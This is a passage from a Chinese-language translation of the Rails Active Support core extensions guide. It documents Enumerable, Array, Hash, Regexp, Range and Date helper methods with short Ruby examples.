+[[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
+%w(foo bar baz).sum             # => "foobarbaz"
+{a: 1, b: 2, c: 3}.sum          # => [:b, 2, :c, 3, :a, 1]
+
+
+
+

空集合的元素之和默认为零,不过可以自定义:

+
+[].sum    # => 0
+[].sum(1) # => 1
+
+
+
+

如果提供块,sum 变成迭代器,把集合中的元素拽入块中,然后求返回值之和:

+
+(1..5).sum {|n| n * 2 } # => 30
+[2, 4, 6, 8, 10].sum    # => 30
+
+
+
+

空接收者之和也可以使用这种方式自定义:

+
+[].sum(1) {|n| n**3} # => 1
+
+
+
+

active_support/core_ext/enumerable.rb 文件中定义。

9.2 index_by +

index_by 方法生成一个散列,使用某个键索引可枚举对象中的元素。

它迭代集合,把各个元素传入块中。元素使用块的返回值为键:

+
+invoices.index_by(&:number)
+# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
+
+
+
+

键一般是唯一的。如果块为不同的元素返回相同的键,不会使用那个键构建集合。最后一个元素胜出。

active_support/core_ext/enumerable.rb 文件中定义。

9.3 many? +

many? 方法是 collection.size > 1 的简化:

+
+<% if pages.many? %>
+  <%= pagination_links %>
+<% end %>
+
+
+
+

如果提供可选的块,many? 只考虑返回 true 的元素:

+
+@see_more = videos.many? {|video| video.category == params[:category]}
+
+
+
+

active_support/core_ext/enumerable.rb 文件中定义。

9.4 exclude? +

exclude? 方法测试指定对象是否不在集合中。这是内置方法 include? 的逆向判断。

+
+to_visit << node if visited.exclude?(node)
+
+
+
+

active_support/core_ext/enumerable.rb 文件中定义。

9.5 without +

without 从可枚举对象中删除指定的元素,然后返回副本:

+
+["David", "Rafael", "Aaron", "Todd"].without("Aaron", "Todd") # => ["David", "Rafael"]
+
+
+
+

active_support/core_ext/enumerable.rb 文件中定义。

9.6 pluck +

pluck 方法基于指定的键返回一个数组:

+
+[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"]
+
+
+
+

active_support/core_ext/enumerable.rb 文件中定义。

10 Array 的扩展

10.1 访问

为了便于以多种方式访问数组,Active Support 增强了数组的 API。例如,若想获取到指定索引的子数组,可以这么做:

+
+%w(a b c d).to(2) # => %w(a b c)
+[].to(7)          # => []
+
+
+
+

类似地,from 从指定索引一直获取到末尾。如果索引大于数组的长度,返回一个空数组。

+
+%w(a b c d).from(2)  # => %w(c d)
+%w(a b c d).from(10) # => []
+[].from(0)           # => []
+
+
+
+

secondthirdfourthfifth 分别返回对应的元素,second_to_lastthird_to_last 也是(firstlast 是内置的)。得益于公众智慧和积极的建设性建议,还有 forty_two 可用。

+
+%w(a b c d).third # => c
+%w(a b c d).fifth # => nil
+
+
+
+

active_support/core_ext/array/access.rb 文件中定义。

10.2 添加元素

10.2.1 prepend +

这个方法是 Array#unshift 的别名。

+
+%w(a b c d).prepend('e')  # => ["e", "a", "b", "c", "d"]
+[].prepend(10)            # => [10]
+
+
+
+

active_support/core_ext/array/prepend_and_append.rb 文件中定义。

10.2.2 append +

这个方法是 Array#<< 的别名。

+
+%w(a b c d).append('e')  # => ["a", "b", "c", "d", "e"]
+[].append([1,2])         # => [[1, 2]]
+
+
+
+

active_support/core_ext/array/prepend_and_append.rb 文件中定义。

10.3 选项提取

如果方法调用的最后一个参数(不含 &block 参数)是散列,Ruby 允许省略花括号:

+
+User.exists?(email: params[:email])
+
+
+
+

Rails 大量使用这种语法糖,以此避免编写大量位置参数,用于模仿具名参数。Rails 经常在最后一个散列选项上使用这种惯用法。

然而,如果方法期待任意个参数,在声明中使用 *,那么选项散列就会变成数组中一个元素,失去了应有的作用。

此时,可以使用 extract_options! 特殊处理选项散列。这个方法检查数组最后一个元素的类型,如果是散列,把它提取出来,并返回;否则,返回一个空散列。

下面以控制器的 caches_action 方法的定义为例:

+
+def caches_action(*actions)
+  return unless cache_configured?
+  options = actions.extract_options!
+  ...
+end
+
+
+
+

这个方法接收任意个动作名,最后一个参数是选项散列。extract_options! 方法获取选项散列,把它从 actions 参数中删除,这样简单便利。

active_support/core_ext/array/extract_options.rb 文件中定义。

10.4 转换

10.4.1 to_sentence +

to_sentence 方法枚举元素,把数组变成一个句子(字符串):

+
+%w().to_sentence                # => ""
+%w(Earth).to_sentence           # => "Earth"
+%w(Earth Wind).to_sentence      # => "Earth and Wind"
+%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
+
+
+
+

这个方法接受三个选项:

+
    +
  • :two_words_connector:数组长度为 2 时使用什么词。默认为“ and”。
  • +
  • :words_connector:数组元素数量为 3 个以上(含)时,使用什么连接除最后两个元素之外的元素。默认为“, ”。
  • +
  • :last_word_connector:数组元素数量为 3 个以上(含)时,使用什么连接最后两个元素。默认为“, and”。
  • +
+

这些选项的默认值可以本地化,相应的键为:

+ + + + + + + + + + + + + + + + + + + + + +
选项i18n 键
:two_words_connectorsupport.array.two_words_connector
:words_connectorsupport.array.words_connector
:last_word_connectorsupport.array.last_word_connector
+

active_support/core_ext/array/conversions.rb 文件中定义。

10.4.2 to_formatted_s +

默认情况下,to_formatted_s 的行为与 to_s 一样。

然而,如果数组中的元素能响应 id 方法,可以传入参数 :db。处理 Active Record 对象集合时经常如此。返回的字符串如下:

+
+[].to_formatted_s(:db)            # => "null"
+[user].to_formatted_s(:db)        # => "8456"
+invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
+
+
+
+

在上述示例中,整数是在元素上调用 id 得到的。

active_support/core_ext/array/conversions.rb 文件中定义。

10.4.3 to_xml +

to_xml 方法返回接收者的 XML 表述:

+
+Contributor.limit(2).order(:rank).to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors type="array">
+#   <contributor>
+#     <id type="integer">4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank type="integer">1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id type="integer">4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank type="integer">2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+
+
+
+

为此,它把 to_xml 分别发送给每个元素,然后收集结果,放在一个根节点中。所有元素都必须能响应 to_xml,否则抛出异常。

默认情况下,根元素的名称是第一个元素的类名的复数形式经过 underscoredasherize 处理后得到的值——前提是余下的元素属于那个类型(使用 is_a? 检查),而且不是散列。在上例中,根元素是“contributors”。

只要有不属于那个类型的元素,根元素就使用“objects”:

+
+[Contributor.first, Commit.first].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <id type="integer">4583</id>
+#     <name>Aaron Batalion</name>
+#     <rank type="integer">53</rank>
+#     <url-id>aaron-batalion</url-id>
+#   </object>
+#   <object>
+#     <author>Joshua Peek</author>
+#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
+#     <branch>origin/master</branch>
+#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
+#     <committer>Joshua Peek</committer>
+#     <git-show nil="true"></git-show>
+#     <id type="integer">190316</id>
+#     <imported-from-svn type="boolean">false</imported-from-svn>
+#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
+#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
+#   </object>
+# </objects>
+
+
+
+

如果接收者是由散列组成的数组,根元素默认也是“objects”:

+
+[{a: 1, b: 2}, {c: 3}].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <b type="integer">2</b>
+#     <a type="integer">1</a>
+#   </object>
+#   <object>
+#     <c type="integer">3</c>
+#   </object>
+# </objects>
+
+
+
+

如果集合为空,根元素默认为“nil-classes”。例如上述示例中的贡献者列表,如果集合为空,根元素不是“contributors”,而是“nil-classes”。可以使用 :root 选项确保根元素始终一致。

子节点的名称默认为根节点的单数形式。在前面几个例子中,我们见到的是“contributor”和“object”。可以使用 :children 选项设定子节点的名称。

默认的 XML 构建程序是一个新的 Builder::XmlMarkup 实例。可以使用 :builder 选项指定构建程序。这个方法还接受 :dasherize 等方法,它们会被转发给构建程序。

+
+Contributor.limit(2).order(:rank).to_xml(skip_types: true)
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors>
+#   <contributor>
+#     <id>4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank>1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id>4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank>2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+
+
+
+

active_support/core_ext/array/conversions.rb 文件中定义。

10.5 包装

Array.wrap 方法把参数包装成一个数组,除非参数已经是数组(或与数组类似的结构)。

具体而言:

+
    +
  • 如果参数是 nil,返回一个空数组。
  • +
  • 否则,如果参数响应 to_ary 方法,调用之;如果 to_ary 返回值不是 nil,返回之。
  • +
  • 否则,把参数作为数组的唯一元素,返回之。
  • +
+
+
+Array.wrap(nil)       # => []
+Array.wrap([1, 2, 3]) # => [1, 2, 3]
+Array.wrap(0)         # => [0]
+
+
+
+

这个方法的作用与 Kernel#Array 类似,不过二者之间有些区别:

+
    +
  • 如果参数响应 to_ary,调用之。如果 to_ary 的返回值是 nilKernel#Array 接着调用 to_a,而 Array.wrap 把参数作为数组的唯一元素,返回之。
  • +
  • 如果 to_ary 的返回值既不是 nil,也不是 Array 对象,Kernel#Array 抛出异常,而 Array.wrap 不会,它返回那个值。
  • +
  • 如果参数不响应 to_aryArray.wrap 不在参数上调用 to_a,而是把参数作为数组的唯一元素,返回之。
  • +
+

对某些可枚举对象来说,最后一点尤为重要:

+
+Array.wrap(foo: :bar) # => [{:foo=>:bar}]
+Array(foo: :bar)      # => [[:foo, :bar]]
+
+
+
+

还有一种惯用法是使用星号运算符:

+
+[*object]
+
+
+
+

在 Ruby 1.8 中,如果参数是 nil,返回 [nil],否则调用 Array(object)。(如果你知道在 Ruby 1.9 中的行为,请联系 fxn。)

因此,参数为 nil 时二者的行为不同,前文对 Kernel#Array 的说明适用于其他对象。

active_support/core_ext/array/wrap.rb 文件中定义。

10.6 复制

Array#deep_dup 方法使用 Active Support 提供的 Object#deep_dup 方法复制数组自身和里面的对象。其工作方式相当于通过 Array#mapdeep_dup 方法发给里面的各个对象。

+
+array = [1, [2, 3]]
+dup = array.deep_dup
+dup[1][2] = 4
+array[1][2] == nil   # => true
+
+
+
+

active_support/core_ext/object/deep_dup.rb 文件中定义。

10.7 分组

10.7.1 in_groups_of(number, fill_with = nil) +

in_groups_of 方法把数组拆分成特定长度的连续分组,返回由各分组构成的数组:

+
+[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
+
+
+
+

如果有块,把各分组拽入块中:

+
+<% sample.in_groups_of(3) do |a, b, c| %>
+  <tr>
+    <td><%= a %></td>
+    <td><%= b %></td>
+    <td><%= c %></td>
+  </tr>
+<% end %>
+
+
+
+

第一个示例说明 in_groups_of 会使用 nil 元素填充最后一组,得到指定大小的分组。可以使用第二个参数(可选的)修改填充值:

+
+[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
+
+
+
+

如果传入 false,不填充最后一组:

+
+[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
+
+
+
+

因此,false 不能作为填充值使用。

active_support/core_ext/array/grouping.rb 文件中定义。

10.7.2 in_groups(number, fill_with = nil) +

in_groups 方法把数组分成特定个分组。这个方法返回由分组构成的数组:

+
+%w(1 2 3 4 5 6 7).in_groups(3)
+# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
+
+
+
+

如果有块,把分组拽入块中:

+
+%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
+["1", "2", "3"]
+["4", "5", nil]
+["6", "7", nil]
+
+
+
+

在上述示例中,in_groups 使用 nil 填充尾部的分组。一个分组至多有一个填充值,而且是最后一个元素。有填充值的始终是最后几个分组。

可以使用第二个参数(可选的)修改填充值:

+
+%w(1 2 3 4 5 6 7).in_groups(3, "0")
+# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
+
+
+
+

如果传入 false,不填充较短的分组:

+
+%w(1 2 3 4 5 6 7).in_groups(3, false)
+# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
+
+
+
+

因此,false 不能作为填充值使用。

active_support/core_ext/array/grouping.rb 文件中定义。

10.7.3 split(value = nil) +

split 方法在指定的分隔符处拆分数组,返回得到的片段。

如果有块,使用块中表达式返回 true 的元素作为分隔符:

+
+(-5..5).to_a.split { |i| i.multiple_of?(4) }
+# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
+
+
+
+

否则,使用指定的参数(默认为 nil)作为分隔符:

+
+[0, 1, -5, 1, 1, "foo", "bar"].split(1)
+# => [[0], [-5], [], ["foo", "bar"]]
+
+
+
+

仔细观察上例,出现连续的分隔符时,得到的是空数组。

active_support/core_ext/array/grouping.rb 文件中定义。

11 Hash 的扩展

11.1 转换

11.1.1 to_xml +

to_xml 方法返回接收者的 XML 表述(字符串):

+
+{"foo" => 1, "bar" => 2}.to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <hash>
+#   <foo type="integer">1</foo>
+#   <bar type="integer">2</bar>
+# </hash>
+
+
+
+

为此,这个方法迭代各个键值对,根据值构建节点。假如键值对是 key, value

+
    +
  • 如果 value 是一个散列,递归调用,此时 key 作为 :root
  • +
  • 如果 value 是一个数组,递归调用,此时 key 作为 :rootkey 的单数形式作为 :children
  • +
  • 如果 value 是可调用对象,必须能接受一个或两个参数。根据参数的数量,传给可调用对象的第一个参数是 options 散列,key 作为 :rootkey 的单数形式作为第二个参数。它的返回值作为新节点。
  • +
  • 如果 value 响应 to_xml,调用这个方法时把 key 作为 :root
  • +
  • +

    否则,使用 key 为标签创建一个节点,value 的字符串表示形式为文本作为节点的文本。如果 valuenil,添加“nil”属性,值为“true”。除非有 :skip_type 选项,而且值为 true,否则还会根据下述对应关系添加“type”属性:

    +
    +
    +XML_TYPE_NAMES = {
    +  "Symbol"     => "symbol",
    +  "Integer"    => "integer",
    +  "BigDecimal" => "decimal",
    +  "Float"      => "float",
    +  "TrueClass"  => "boolean",
    +  "FalseClass" => "boolean",
    +  "Date"       => "date",
    +  "DateTime"   => "datetime",
    +  "Time"       => "datetime"
    +}
    +
    +
    +
    +
  • +
+

默认情况下,根节点是“hash”,不过可以通过 :root 选项配置。

默认的 XML 构建程序是一个新的 Builder::XmlMarkup 实例。可以使用 :builder 选项配置构建程序。这个方法还接受 :dasherize 等选项,它们会被转发给构建程序。

active_support/core_ext/hash/conversions.rb 文件中定义。

11.2 合并

Ruby 有个内置的方法,Hash#merge,用于合并两个散列:

+
+{a: 1, b: 1}.merge(a: 0, c: 2)
+# => {:a=>0, :b=>1, :c=>2}
+
+
+
+

为了方便,Active Support 定义了几个用于合并散列的方法。

11.2.1 reverse_mergereverse_merge! +

如果键有冲突,merge 方法的参数中的键胜出。通常利用这一点为选项散列提供默认值:

+
+options = {length: 30, omission: "..."}.merge(options)
+
+
+
+

Active Support 定义了 reverse_merge 方法,以防你想使用相反的合并方式:

+
+options = options.reverse_merge(length: 30, omission: "...")
+
+
+
+

还有一个爆炸版本,reverse_merge!,就地执行合并:

+
+options.reverse_merge!(length: 30, omission: "...")
+
+
+
+

reverse_merge! 方法会就地修改调用方,这可能不是个好主意。

active_support/core_ext/hash/reverse_merge.rb 文件中定义。

11.2.2 reverse_update +

reverse_update 方法是 reverse_merge! 的别名,作用参见前文。

注意,reverse_update 方法的名称中没有感叹号。

active_support/core_ext/hash/reverse_merge.rb 文件中定义。

11.2.3 deep_mergedeep_merge! +

如前面的示例所示,如果两个散列中有相同的键,参数中的散列胜出。

Active Support 定义了 Hash#deep_merge 方法。在深度合并中,如果两个散列中有相同的键,而且它们的值都是散列,那么在得到的散列中,那个键的值是合并后的结果:

+
+{a: {b: 1}}.deep_merge(a: {c: 2})
+# => {:a=>{:b=>1, :c=>2}}
+
+
+
+

deep_merge! 方法就地执行深度合并。

active_support/core_ext/hash/deep_merge.rb 文件中定义。

11.3 深度复制

Hash#deep_dup 方法使用 Active Support 提供的 Object#deep_dup 方法复制散列自身及里面的键值对。其工作方式相当于通过 Enumerator#each_with_objectdeep_dup 方法发给各个键值对。

+
+hash = { a: 1, b: { c: 2, d: [3, 4] } }
+
+dup = hash.deep_dup
+dup[:b][:e] = 5
+dup[:b][:d] << 5
+
+hash[:b][:e] == nil      # => true
+hash[:b][:d] == [3, 4]   # => true
+
+
+
+

active_support/core_ext/object/deep_dup.rb 文件中定义。

11.4 处理键

11.4.1 exceptexcept! +

except 方法返回一个散列,从接收者中把参数中列出的键删除(如果有的话):

+
+{a: 1, b: 2}.except(:a) # => {:b=>2}
+
+
+
+

如果接收者响应 convert_key 方法,会在各个参数上调用它。这样 except 能更好地处理不区分键类型的散列,例如:

+
+{a: 1}.with_indifferent_access.except(:a)  # => {}
+{a: 1}.with_indifferent_access.except("a") # => {}
+
+
+
+

还有爆炸版本,except!,就地从接收者中删除键。

active_support/core_ext/hash/except.rb 文件中定义。

11.4.2 transform_keystransform_keys! +

transform_keys 方法接受一个块,使用块中的代码处理接收者的键:

+
+{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase }
+# => {"" => nil, "A" => :a, "1" => 1}
+
+
+
+

遇到冲突的键时,只会从中选择一个。选择哪个值并不确定。

+
+{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
+# 结果可能是
+# => {"A"=>2}
+# 也可能是
+# => {"A"=>1}
+
+
+
+

这个方法可以用于构建特殊的转换方式。例如,stringify_keyssymbolize_keys 使用 transform_keys 转换键:

+
+def stringify_keys
+  transform_keys { |key| key.to_s }
+end
+...
+def symbolize_keys
+  transform_keys { |key| key.to_sym rescue key }
+end
+
+
+
+

还有爆炸版本,transform_keys!,就地使用块中的代码处理接收者的键。

此外,可以使用 deep_transform_keysdeep_transform_keys! 把块应用到指定散列及其嵌套的散列的所有键上。例如:

+
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase }
+# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
+
+
+
+

active_support/core_ext/hash/keys.rb 文件中定义。

11.4.3 stringify_keysstringify_keys! +

stringify_keys 把接收者中的键都变成字符串,然后返回一个散列。为此,它在键上调用 to_s

+
+{nil => nil, 1 => 1, a: :a}.stringify_keys
+# => {"" => nil, "1" => 1, "a" => :a}
+
+
+
+

遇到冲突的键时,只会从中选择一个。选择哪个值并不确定。

+
+{"a" => 1, a: 2}.stringify_keys
+# 结果可能是
+# => {"a"=>2}
+# 也可能是
+# => {"a"=>1}
+
+
+
+

使用这个方法,选项既可以是符号,也可以是字符串。例如 ActionView::Helpers::FormHelper 定义的这个方法:

+
+def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
+  options = options.stringify_keys
+  options["type"] = "checkbox"
+  ...
+end
+
+
+
+

因为有第二行,所以用户可以传入 :type"type"

也有爆炸版本,stringify_keys!,直接把接收者的键变成字符串。

此外,可以使用 deep_stringify_keysdeep_stringify_keys! 把指定散列及其中嵌套的散列的键全都转换成字符串。例如:

+
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys
+# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
+
+
+
+

active_support/core_ext/hash/keys.rb 文件中定义。

11.4.4 symbolize_keyssymbolize_keys! +

symbolize_keys 方法把接收者中的键尽量变成符号。为此,它在键上调用 to_sym

+
+{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
+# => {nil=>nil, 1=>1, :a=>"a"}
+
+
+
+

注意,在上例中,只有键变成了符号。

遇到冲突的键时,只会从中选择一个。选择哪个值并不确定。

+
+{"a" => 1, a: 2}.symbolize_keys
+# 结果可能是
+# => {:a=>2}
+# 也可能是
+# => {:a=>1}
+
+
+
+

使用这个方法,选项既可以是符号,也可以是字符串。例如 ActionController::UrlRewriter 定义的这个方法:

+
+def rewrite_path(options)
+  options = options.symbolize_keys
+  options.update(options[:params].symbolize_keys) if options[:params]
+  ...
+end
+
+
+
+

因为有第二行,所以用户可以传入 :params"params"

也有爆炸版本,symbolize_keys!,直接把接收者的键变成符号。

此外,可以使用 deep_symbolize_keysdeep_symbolize_keys! 把指定散列及其中嵌套的散列的键全都转换成符号。例如:

+
+{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
+# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}
+
+
+
+

active_support/core_ext/hash/keys.rb 文件中定义。

11.4.5 to_optionsto_options! +

to_optionsto_options! 分别是 symbolize_keys and symbolize_keys! 的别名。

active_support/core_ext/hash/keys.rb 文件中定义。

11.4.6 assert_valid_keys +

assert_valid_keys 方法的参数数量不定,检查接收者的键是否在白名单之外。如果是,抛出 ArgumentError 异常。

+
+{a: 1}.assert_valid_keys(:a)  # passes
+{a: 1}.assert_valid_keys("a") # ArgumentError
+
+
+
+

例如,Active Record 构建关联时不接受未知的选项。这个功能就是通过 assert_valid_keys 实现的。

active_support/core_ext/hash/keys.rb 文件中定义。

11.5 处理值

11.5.1 transform_valuestransform_values! +

transform_values 的参数是一个块,使用块中的代码处理接收者中的各个值。

+
+{ nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase }
+# => {nil=>"", 1=>"1", :x=>"A"}
+
+
+
+

也有爆炸版本,transform_values!,就地处理接收者的值。

active_support/core_ext/hash/transform_values.rb 文件中定义。

11.6 切片

Ruby 原生支持从字符串和数组中提取切片。Active Support 为散列增加了这个功能:

+
+{a: 1, b: 2, c: 3}.slice(:a, :c)
+# => {:a=>1, :c=>3}
+
+{a: 1, b: 2, c: 3}.slice(:b, :X)
+# => {:b=>2} # 不存在的键会被忽略
+
+
+
+

如果接收者响应 convert_key,会使用它对键做整形:

+
+{a: 1, b: 2}.with_indifferent_access.slice("a")
+# => {:a=>1}
+
+
+
+

可以通过切片使用键白名单净化选项散列。

也有 slice!,它就地执行切片,返回被删除的键值对:

+
+hash = {a: 1, b: 2}
+rest = hash.slice!(:a) # => {:b=>2}
+hash                   # => {:a=>1}
+
+
+
+

active_support/core_ext/hash/slice.rb 文件中定义。

11.7 提取

extract! 方法删除并返回匹配指定键的键值对。

+
+hash = {a: 1, b: 2}
+rest = hash.extract!(:a) # => {:a=>1}
+hash                     # => {:b=>2}
+
+
+
+

extract! 方法的返回值类型与接收者一样,是 Hash 或其子类。

+
+hash = {a: 1, b: 2}.with_indifferent_access
+rest = hash.extract!(:a).class
+# => ActiveSupport::HashWithIndifferentAccess
+
+
+
+

active_support/core_ext/hash/slice.rb 文件中定义。

11.8 无差别访问

with_indifferent_access 方法把接收者转换成 ActiveSupport::HashWithIndifferentAccess 实例:

+
+{a: 1}.with_indifferent_access["a"] # => 1
+
+
+
+

active_support/core_ext/hash/indifferent_access.rb 文件中定义。

11.9 压缩

compactcompact! 方法返回没有 nil 值的散列:

+
+{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
+
+
+
+

active_support/core_ext/hash/compact.rb 文件中定义。

12 Regexp 的扩展

12.1 multiline? +

multiline? 方法判断正则表达式有没有设定 /m 旗标,即点号是否匹配换行符。

+
+%r{.}.multiline?  # => false
+%r{.}m.multiline? # => true
+
+Regexp.new('.').multiline?                    # => false
+Regexp.new('.', Regexp::MULTILINE).multiline? # => true
+
+
+
+

Rails 只在一处用到了这个方法,也在路由代码中。路由的条件不允许使用多行正则表达式,这个方法简化了这一约束的实施。

+
+def assign_route_options(segments, defaults, requirements)
+  ...
+  if requirement.multiline?
+    raise ArgumentError, "Regexp multiline option not allowed in routing requirements: #{requirement.inspect}"
+  end
+  ...
+end
+
+
+
+

active_support/core_ext/regexp.rb 文件中定义。

12.2 match? +

Rails 实现了 Regexp#match? 方法,供 Ruby 2.4 之前的版本使用:

+
+/oo/.match?('foo')    # => true
+/oo/.match?('bar')    # => false
+/oo/.match?('foo', 1) # => true
+
+
+
+

这个向后移植的版本与原生的 match? 方法具有相同的接口,但是调用方没有未设定 $1 等副作用,不过速度没什么优势。定义这个方法的目的是编写与 2.4 兼容的代码。Rails 内部有用到这个判断方法。

只有 Ruby 未定义 Regexp#match? 方法时,Rails 才会定义,因此在 Ruby 2.4 或以上版本中运行的代码使用的是原生版本,性能有保障。

13 Range 的扩展

13.1 to_s +

Active Support 扩展了 Range#to_s 方法,让它接受一个可选的格式参数。目前,唯一支持的非默认格式是 :db

+
+(Date.today..Date.tomorrow).to_s
+# => "2009-10-25..2009-10-26"
+
+(Date.today..Date.tomorrow).to_s(:db)
+# => "BETWEEN '2009-10-25' AND '2009-10-26'"
+
+
+
+

如上例所示,:db 格式生成一个 BETWEEN SQL 子句。Active Record 使用它支持范围值条件。

active_support/core_ext/range/conversions.rb 文件中定义。

13.2 include? +

Range#include?Range#=== 方法判断值是否在值域的范围内:

+
+(2..3).include?(Math::E) # => true
+
+
+
+

Active Support 扩展了这两个方法,允许参数为另一个值域。此时,测试参数指定的值域是否在接收者的范围内:

+
+(1..10).include?(3..7)  # => true
+(1..10).include?(0..7)  # => false
+(1..10).include?(3..11) # => false
+(1...9).include?(3..9)  # => false
+
+(1..10) === (3..7)  # => true
+(1..10) === (0..7)  # => false
+(1..10) === (3..11) # => false
+(1...9) === (3..9)  # => false
+
+
+
+

active_support/core_ext/range/include_range.rb 文件中定义。

13.3 overlaps? +

Range#overlaps? 方法测试两个值域是否有交集:

+
+(1..10).overlaps?(7..11)  # => true
+(1..10).overlaps?(0..7)   # => true
+(1..10).overlaps?(11..27) # => false
+
+
+
+

active_support/core_ext/range/overlaps.rb 文件中定义。

14 Date 的扩展

14.1 计算

这一节的方法都在 active_support/core_ext/date/calculations.rb 文件中定义。

下述计算方法在 1582 年 10 月有边缘情况,因为 5..14 日不存在。简单起见,本文没有说明这些日子的行为,不过可以说,其行为与预期是相符的。即,Date.new(1582, 10, 4).tomorrow 返回 Date.new(1582, 10, 15),等等。预期的行为参见 test/core_ext/date_ext_test.rb 中的 Active Support 测试组件。

14.1.1 Date.current +

Active Support 定义的 Date.current 方法表示当前时区中的今天。其作用类似于 Date.today,不过会考虑用户设定的时区(如果定义了时区的话)。Active Support 还定义了 Date.yesterdayDate.tomorrow,以及实例判断方法 past?today?future?on_weekday?on_weekend?,这些方法都与 Date.current 相关。

比较日期时,如果要考虑用户设定的时区,应该使用 Date.current,而不是 Date.today。与系统的时区(Date.today 默认采用)相比,用户设定的时区可能超前,这意味着,Date.today 可能等于 Date.yesterday

14.1.2 具名日期

14.1.2.1 prev_yearnext_year +

在 Ruby 1.9 中,prev_yearnext_year 方法返回前一年和下一年中的相同月和日:

+
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_year              # => Fri, 08 May 2009
+d.next_year              # => Sun, 08 May 2011
+
+
+
+

如果是润年的 2 月 29 日,得到的是 28 日:

+
+d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
+d.prev_year               # => Sun, 28 Feb 1999
+d.next_year               # => Wed, 28 Feb 2001
+
+
+
+

last_yearprev_year 的别名。

14.1.2.2 prev_monthnext_month +

在 Ruby 1.9 中,prev_monthnext_month 方法分别返回前一个月和后一个月中的相同日:

+
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_month             # => Thu, 08 Apr 2010
+d.next_month             # => Tue, 08 Jun 2010
+
+
+
+

如果日不存在,返回前一月中的最后一天:

+
+Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
+Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
+Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
+Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
+
+
+
+

last_monthprev_month 的别名。

14.1.2.3 prev_quarternext_quarter +

类似于 prev_monthnext_month,返回前一季度和下一季度中的相同日:

+
+t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
+t.prev_quarter             # => Mon, 08 Feb 2010
+t.next_quarter             # => Sun, 08 Aug 2010
+
+
+
+

如果日不存在,返回前一月中的最后一天:

+
+Time.local(2000, 7, 31).prev_quarter  # => Sun, 30 Apr 2000
+Time.local(2000, 5, 31).prev_quarter  # => Tue, 29 Feb 2000
+Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
+Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
+
+
+
+

last_quarterprev_quarter 的别名。

14.1.2.4 beginning_of_weekend_of_week +

beginning_of_weekend_of_week 方法分别返回某一周的第一天和最后一天的日期。一周假定从周一开始,不过这是可以修改的,方法是在线程中设定 Date.beginning_of_weekconfig.beginning_of_week

+
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.beginning_of_week          # => Mon, 03 May 2010
+d.beginning_of_week(:sunday) # => Sun, 02 May 2010
+d.end_of_week                # => Sun, 09 May 2010
+d.end_of_week(:sunday)       # => Sat, 08 May 2010
+
+
+
+

at_beginning_of_weekbeginning_of_week 的别名,at_end_of_weekend_of_week 的别名。

14.1.2.5 mondaysunday +

mondaysunday 方法分别返回前一个周一和下一个周日的日期:

+
+d = Date.new(2010, 5, 8)     # => Sat, 08 May 2010
+d.monday                     # => Mon, 03 May 2010
+d.sunday                     # => Sun, 09 May 2010
+
+d = Date.new(2012, 9, 10)    # => Mon, 10 Sep 2012
+d.monday                     # => Mon, 10 Sep 2012
+
+d = Date.new(2012, 9, 16)    # => Sun, 16 Sep 2012
